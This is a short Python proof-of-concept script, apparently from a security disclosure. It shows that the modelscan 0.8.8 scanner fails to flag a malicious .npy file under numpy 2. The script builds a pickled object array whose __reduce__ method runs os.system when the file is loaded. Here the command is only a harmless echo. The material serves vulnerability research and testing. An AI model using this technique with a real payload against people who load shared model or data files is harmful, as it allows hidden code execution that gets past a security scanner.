| #!/usr/bin/env python3 | |
| """ | |
| PoC - modelscan 0.8.8 fails OPEN on .npy when numpy >= 2 is installed. | |
| Payload is DELIBERATELY HARMLESS: it runs `echo NPY_EXEC_OK`. No network, | |
| no deletion, nothing outside the working directory. | |
| """ | |
| import numpy as np, os | |
| class Marker: | |
| def __reduce__(self): | |
| return (os.system, ("echo NPY_EXEC_OK",)) | |
| def build(path="poc_object_array.npy"): | |
| np.save(path, np.array([Marker()], dtype=object), allow_pickle=True) | |
| return os.path.getsize(path) | |
| if __name__ == "__main__": | |
| print("wrote %s (%d bytes), numpy %s" % ("poc_object_array.npy", build(), np.__version__)) | |